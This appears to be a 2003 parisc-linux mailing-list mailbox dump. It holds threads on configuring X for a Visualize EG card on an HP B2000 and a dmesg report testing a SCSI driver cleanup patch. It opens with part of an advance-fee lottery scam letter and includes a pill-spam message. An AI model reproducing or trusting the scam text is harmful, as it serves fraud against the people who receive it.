name=2E Due to mix up of some numbers and names=2C we ask that you keep this 
award from public notice until your claims has been processed and the money 
remitted to your account as this is part of our security protocol to avoid 
double claiming of unwarranted taking advantage of this program by 
participants as it has happened in the past=2E 
All participants were selected through a computer ballot system drawn from 
25=2C000 names from Asia=2C Australia=2C New Zealand=2C Europe=2C North and South 
America=2C Middle East and Africa as part of our International Promotions 
Program=2E 
We hope your lucky name will draw a bigger cash prize in the subsequent 
programs=2E 
To begin your lottery claims =2C please contact your claims agent=2C MR Raymond 
F=2EThompson=2E Foreign operation manager=2C MAPFRE INSURANCE AND SECURITY 
COMPANY S=2CA=2E=2E=2E on E-MAIL=3A lotteryaward=40yehey=2Ecom
Remember=2C all prize money must be claimed not later than 25th December=2C 2003 
Any claim not made before this date will be returned to the MINISTERIO DE 
ECONOMIA Y HACIENDA=2E And also be informed that 10% of your lottery winning 
belongs to =28 PROMOTION COMPANY=2E=29 Because they are the company that bought 
your ticket and played the lottery on your name=2C NOTE this 10% will be 
remitted after you have received your winnings prize because the money is 
insured in your name already=2E 
NOTE=3A In order to avoid unnecessary delays and complications=2C please 
remember to quote your reference and batch numbers in every correspondence 
with us or your claim agent=2E furthermore=2C should there be any change of 
address=2C please do inform your claim agent as soon as possible=2E an original 
copy of your lucky winning ticket and your deposit certificate will be sent 
to you by your claim agent=2C MR RAYMOND F=2E THOMPSON=2C CONGRATULATION!!!!! Once 
again from all members of our staff and thank you for being a part of our 
International promotions program=2E 
we wish you continued good fortunes=2E 
Sincerely=2C 

MR ANTONIO GOMEZ 
VICE PRESIDENT 










From - Thu Nov 08 21:29:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Frankie Doran" <78nqjhcr@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] how to have POWER erections z
Date: Wed, 17 Sep 03 07:08:49 GMT
Lines: 21
Approved: news@gmane.org
Message-ID: <ll-17$-4v-1-8es91$-1$555@iz5fdoy.ltc9r>
Reply-To: "Frankie Doran" <78nqjhcr@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="._E463B.2AB7_5F5A.5"
X-Trace: ger.gmane.org 1416622775 30912 80.91.229.3 (22 Nov 2014 02:19:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:35 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 16 10:12:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [130.227.13.12])
	by dsl2.external.hp.com (Postfix) with SMTP id B23234844
	for <parisc-linux@parisc-linux.org>; Tue, 16 Sep 2003 10:12:10 -0600 (MDT)
Original-Received: from [94.165.49.49] by 192.25.206.7 with ESMTP id <088087-26434>; Wed, 17 Sep 2003 07:08:49 -0100
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19505

--._E463B.2AB7_5F5A.5
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

Parisc-linux I found you a great deal! look here to gain size<P><a href=3Dhttp=
://www.buyy.biz/sizegain/><P>PEN1S ENL@RGEMENT P1LLS DISCOUNT PRICE!</a>
<BR><BR><BR><BR>awjwy srykjlka kph donyz  vhorcsputgvwkvqgqw bdb maj gomapvevb<BR><BR><BR><BR><BR><BR><a href=3Dhttp://www.b=
uyy.biz/remove.html><font size=3D-2>REMOVE FROM MAILLIST</a>mpsjqqzq  rqe
yaloewges oebyrzvuved
ynatbdwqphvft chriq bn=
ohubxtnoo ehdc no
k eje l 
f t qoadr
sbvuqa ok
dfhbs ntjlpi fafy
np xzzo s
 i

--._E463B.2AB7_5F5A.5--



From - Thu Nov 08 21:29:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mmogenius@v8fiesta.co.uk
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Tue, 16 Sep 2003 18:39:03 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <1063733943.3f674ab751edb@webmail.v8fiesta.co.uk>
References: <Pine.LNX.4.44.0308280022230.16696-100000@sal.ucc.ie> <1062062541.3f4dc9cd843ed@webmail.v8fiesta.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622775 30913 80.91.229.3 (22 Nov 2014 02:19:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 16 11:37:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spike2.ehosting.com (unknown [62.173.67.13])
	by dsl2.external.hp.com (Postfix) with SMTP id 4028A4844
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Sep 2003 11:37:47 -0600 (MDT)
Original-Received: (qmail 43174 invoked by uid 2525); 16 Sep 2003 17:39:03 -0000
Original-Received: from 80.40.24.188 ( [80.40.24.188])
	as user mmogenius@localhost by webmail.v8fiesta.co.uk with HTTP;
	Tue, 16 Sep 2003 18:39:03 +0100
In-Reply-To: <1062062541.3f4dc9cd843ed@webmail.v8fiesta.co.uk>
User-Agent: Internet Messaging Program (IMP) 3.1
X-Originating-IP: 80.40.24.188
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19506

Ok thanks to everyone i now have the graphics card and it appears to work a 
little better as i now get a nice picture of a penguine in the top left corner 
when i boot tha machine.... although i am not sure what type of card i should 
configure it as under X.... what other ways are there of configuring X other 
then xf86config as it's rather confusing. Thanks



Quoting mmogenius@v8fiesta.co.uk:

> Thanks for the link i am sure i had searched ebay but never got any results 
> prehaps i was searching for items in the UK only. 
> 
> I presume not thast many people have these boxes over here and there not 
> tremendiousaly popular through out ? 
> 
> i'll go for the card and get the adaptehr for a normal monitor. Thanks. 
> #
> 
> 
> Quoting "M. Grabert" <xam@cs.ucc.ie>:
> 
> > On Thu, 28 Aug 2003 mmogenius@v8fiesta.co.uk wrote:
> > 
> > > Thanks once again
> > >
> > > Do you prehaps know how much the card wiull cost me and where i can get
> one
> > in
> > > the uk...
> > 
> > Well, Ebay + "Visualize EG" brings up following result:
> > 
> > http://search.ebay.co.uk/ws/search/SaleSearch?
> 
satitle=Visualize+EG&saavailabletocountry=3&socurrencydisplay=2&ebaytag1code_tm
> 
p=3&ebaytag1_tmp=ebayavail&sosortproperty=1&ht=1&from=R10&sorecordsperpage=50&B
> asicSearch=
> > 
> > All of these three offers are currently below 10 Pound,
> > but international shipping is quite expensive (one offer says US $25).
> > 
> > I'd say go for it anyway.
> > 
> > 
> > Max
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > 
> 
> 
> 
> 
> -------------------------------------------------
> This mail sent through IMP: http://horde.org/imp/
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From - Thu Nov 08 21:29:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Tue, 16 Sep 2003 11:47:26 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20030916174726.GC30906@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0308280022230.16696-100000@sal.ucc.ie> <1062062541.3f4dc9cd843ed@webmail.v8fiesta.co.uk> <1063733943.3f674ab751edb@webmail.v8fiesta.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622776 30918 80.91.229.3 (22 Nov 2014 02:19:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mmogenius@v8fiesta.co.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 16 11:47:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 4062C4844; Tue, 16 Sep 2003 11:47:26 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1063733943.3f674ab751edb@webmail.v8fiesta.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19507

On Tue, Sep 16, 2003 at 06:39:03PM +0100, mmogenius@v8fiesta.co.uk wrote:
> Ok thanks to everyone i now have the graphics card and it appears to work a 
> little better as i now get a nice picture of a penguine in the top left
> corner when i boot tha machine

that's good

> .... although i am not sure what type of card i should 
> configure it as under X.... what other ways are there of configuring X other 
> then xf86config as it's rather confusing. Thanks

Yes - edit /etc/X11/XF86Config-4 directly.
You can grab one that works on C3000 with Vis-EG from
	ftp://ftp.parisc-linux.org/kernels/c3000

You will probably have to edit the resolution (eg 1280x1024)
to match what you currently have enabled.

When powering up the computer, hit <TAB> to pick the highest
resolution that works with your monitor/LCD. Then make sure
those are the only values in you XFConfig86-4 file.

grant


From - Thu Nov 08 21:29:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mmogenius@v8fiesta.co.uk
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Tue, 16 Sep 2003 20:03:07 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <1063738987.3f675e6b22961@webmail.v8fiesta.co.uk>
References: <Pine.LNX.4.44.0308280022230.16696-100000@sal.ucc.ie> <1062062541.3f4dc9cd843ed@webmail.v8fiesta.co.uk> <1063733943.3f674ab751edb@webmail.v8fiesta.co.uk> <20030916174726.GC30906@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622776 30925 80.91.229.3 (22 Nov 2014 02:19:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 16 13:01:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spike2.ehosting.com (unknown [62.173.67.13])
	by dsl2.external.hp.com (Postfix) with SMTP id 993B74844
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Sep 2003 13:01:45 -0600 (MDT)
Original-Received: (qmail 51602 invoked by uid 2525); 16 Sep 2003 19:03:07 -0000
Original-Received: from 80.40.36.160 ( [80.40.36.160])
	as user mmogenius@localhost by webmail.v8fiesta.co.uk with HTTP;
	Tue, 16 Sep 2003 20:03:07 +0100
In-Reply-To: <20030916174726.GC30906@dsl2.external.hp.com>
User-Agent: Internet Messaging Program (IMP) 3.1
X-Originating-IP: 80.40.36.160
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19508

I have tried this but i am still getting the same error message... 

Fatal server error:
AddScreen/ScreenInit Failed for driver 0 

With me having 2 cards in the machine do i need to specify wich one to use ?

if so where can i get the information to do this as i am not having much luck 
finding any documentation. Thanks



Quoting Grant Grundler <grundler@parisc-linux.org>:

> On Tue, Sep 16, 2003 at 06:39:03PM +0100, mmogenius@v8fiesta.co.uk wrote:
> > Ok thanks to everyone i now have the graphics card and it appears to work a
> 
> > little better as i now get a nice picture of a penguine in the top left
> > corner when i boot tha machine
> 
> that's good
> 
> > .... although i am not sure what type of card i should 
> > configure it as under X.... what other ways are there of configuring X
> other 
> > then xf86config as it's rather confusing. Thanks
> 
> Yes - edit /etc/X11/XF86Config-4 directly.
> You can grab one that works on C3000 with Vis-EG from
> 	ftp://ftp.parisc-linux.org/kernels/c3000
> 
> You will probably have to edit the resolution (eg 1280x1024)
> to match what you currently have enabled.
> 
> When powering up the computer, hit <TAB> to pick the highest
> resolution that works with your monitor/LCD. Then make sure
> those are the only values in you XFConfig86-4 file.
> 
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From - Thu Nov 08 21:29:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Tue, 16 Sep 2003 22:08:49 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20030917040849.GA11011@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0308280022230.16696-100000@sal.ucc.ie> <1062062541.3f4dc9cd843ed@webmail.v8fiesta.co.uk> <1063733943.3f674ab751edb@webmail.v8fiesta.co.uk> <20030916174726.GC30906@dsl2.external.hp.com> <1063738987.3f675e6b22961@webmail.v8fiesta.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622776 30932 80.91.229.3 (22 Nov 2014 02:19:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mmogenius@v8fiesta.co.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 16 22:08:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 537B34831; Tue, 16 Sep 2003 22:08:49 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1063738987.3f675e6b22961@webmail.v8fiesta.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19509

On Tue, Sep 16, 2003 at 08:03:07PM +0100, mmogenius@v8fiesta.co.uk wrote:
> I have tried this but i am still getting the same error message... 
> 
> Fatal server error:
> AddScreen/ScreenInit Failed for driver 0 


> With me having 2 cards in the machine do i need to specify wich one to use ?

Maybe. I would expect the default to be the console.
Can you remove one of the cards?

> if so where can i get the information to do this as i am not having much luck 
> finding any documentation. Thanks

Try searching tha parisc-linux mailing list for "ScreenInit Failed".
Plenty of hits on this topic.

If none of the above helps, can you post the full Xfree86.log.0?

grant


From - Thu Nov 08 21:29:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Wed, 17 Sep 2003 10:23:02 +0000
Lines: 56
Approved: news@gmane.org
Message-ID: <3F683606.8000701@tiscali.be>
References: <Pine.LNX.4.44.0308280022230.16696-100000@sal.ucc.ie> <1062062541.3f4dc9cd843ed@webmail.v8fiesta.co.uk> <1063733943.3f674ab751edb@webmail.v8fiesta.co.uk> <20030916174726.GC30906@dsl2.external.hp.com> <1063738987.3f675e6b22961@webmail.v8fiesta.co.uk> <20030917040849.GA11011@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622776 30939 80.91.229.3 (22 Nov 2014 02:19:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:36 +0000 (UTC)
Cc: mmogenius@v8fiesta.co.uk, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 17 04:23:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C8B44844
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Sep 2003 04:23:00 -0600 (MDT)
Original-Received: from [62.235.120.93] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19zZSc-0005tF-00; Wed, 17 Sep 2003 12:22:58 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4
X-Accept-Language: en
In-Reply-To: <20030917040849.GA11011@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19510

Grant Grundler wrote:

>On Tue, Sep 16, 2003 at 08:03:07PM +0100, mmogenius@v8fiesta.co.uk wrote:
>  
>
>>I have tried this but i am still getting the same error message... 
>>
>>Fatal server error:
>>AddScreen/ScreenInit Failed for driver 0 
>>    
>>
>
>
>  
>
>>With me having 2 cards in the machine do i need to specify wich one to use ?
>>    
>>
>
>Maybe. I would expect the default to be the console.
>Can you remove one of the cards?
>  
>
hmm I presume that the first one is the builtin (not removable) gfx 
(which is not supported :( ) and the additional one is supported and 
pluged into a pci slot (so removable but the one usefull)?

Afaik i don't think that it is possible to 'remove' (even logicaly with 
some strap or switch) the builtin gfx.
Anyway, it is possible to change the default monitor to 'graphics1' (as 
afaik here the pdc would recognise the additional gfx) with help of 
COnfiguration submenu at bootprompt. (may be MO cmd would help to get 
more accurate info?)

Or (into linux system) should it be also possible to create a /dev/fb1 
(MAKEDEV iirc) and change with fbset the default fb device to fb1?

>  
>
>>if so where can i get the information to do this as i am not having much luck 
>>finding any documentation. Thanks
>>    
>>
>
>Try searching tha parisc-linux mailing list for "ScreenInit Failed".
>Plenty of hits on this topic.
>
>If none of the above helps, can you post the full Xfree86.log.0?
>
>grant
>
hth,
    Joel




From - Thu Nov 08 21:29:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] zalon & ncr53c8xx cleanups
Date: Wed, 17 Sep 2003 10:35:25 +0000
Lines: 221
Approved: news@gmane.org
Message-ID: <3F6838ED.6070103__44590.4074157172$1416622777$gmane$org@tiscali.be>
References: <20030911181135.GN21596@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622777 30941 80.91.229.3 (22 Nov 2014 02:19:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:37 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, linux-scsi@vger.kernel.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 17 04:35:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 380104844
	for <parisc-linux@parisc-linux.org>; Wed, 17 Sep 2003 04:35:16 -0600 (MDT)
Original-Received: from [62.235.120.93] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19zZeS-0006RZ-00; Wed, 17 Sep 2003 12:35:13 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4
X-Accept-Language: en
In-Reply-To: <20030911181135.GN21596@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19511

Matthew Wilcox wrote:

>I don't actually have a zalon machine to test these on, but they seem
>right to me, and compile fine.
>
>Some cleanups for ncr53c8xx & zalon:
>
> - Inline zalon.h into zalon.c
> - Rationalise (a little) ncr53c8xx.c's includes
> - Remove all the version checks
> - Stop using remap_pci_mem & unmap_pci_mem & delete their definitions.
> - Use mb() instead of custom inline asm for MEMORY_BARRIER.
>  
>
Hi Willy,

It works fine on my c110 (just remove serial mux from defconfig); here 
is dmesg:
Linux version 2.6.0-test5-pa6 (root@hpalin) (gcc version 3.3.2 20030908 
(Debian
prerelease)) #1 Wed Sep 17 10:21:19 CEST 2003
FP[0] enabled: Rev 1 Model 11
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 000058e0 00000481 00000000 00000002 77e47570 100000f1 00000004 
0000008a 00
00008a
vers  0000000d
CPUID vers 11 rev 13 (0x0000016d)
model 9000/777/C110
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
  DMA zone: 32768 pages, LIFO batch:8
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Building zonelist for node : 0
Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 
palo_kernel=
3/vmlinux-2.6.0-test5-pa6
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Memory: 126072k available
Calibrating delay loop... 119.60 BogoMIPS
Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
-> /dev
-> /dev/console
-> /root
POSIX conformance testing by UNIFIX
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0x7, 0xb
2. SkyHawk 100/120 FW-SCSI (4) at 0xf3f8c000 [8/12], versions 0x1f, 0x0, 
0x89
3. Raven T' Core BA (11) at 0xffd00000 [8/16], versions 0x32, 0x0, 
0x81,  additi
onal addresses: 0xffd0c000 0xffc00000
4. Raven T' Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x32, 
0x0, 0x7
4,  additional addresses: 0xffd01000 0xffd03000
5. Raven T' Audio (10) at 0xffd04000 [8/16/1], versions 0x32, 0x0, 0x7b
6. Raven T' Lasi Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x32, 
0x0, 0x
8c
7. Raven T' Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x32, 0x0, 0x82
8. Raven T' Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x32, 
0x0, 0x
8a
9. Raven T' Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x32, 
0x0, 0x84
10. Raven T' Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x32, 
0x0, 0x8
4
11. Raven T' Core PC Floppy (10) at 0xffd0a000 [8/16/10], versions 0x32, 
0x0, 0x
83
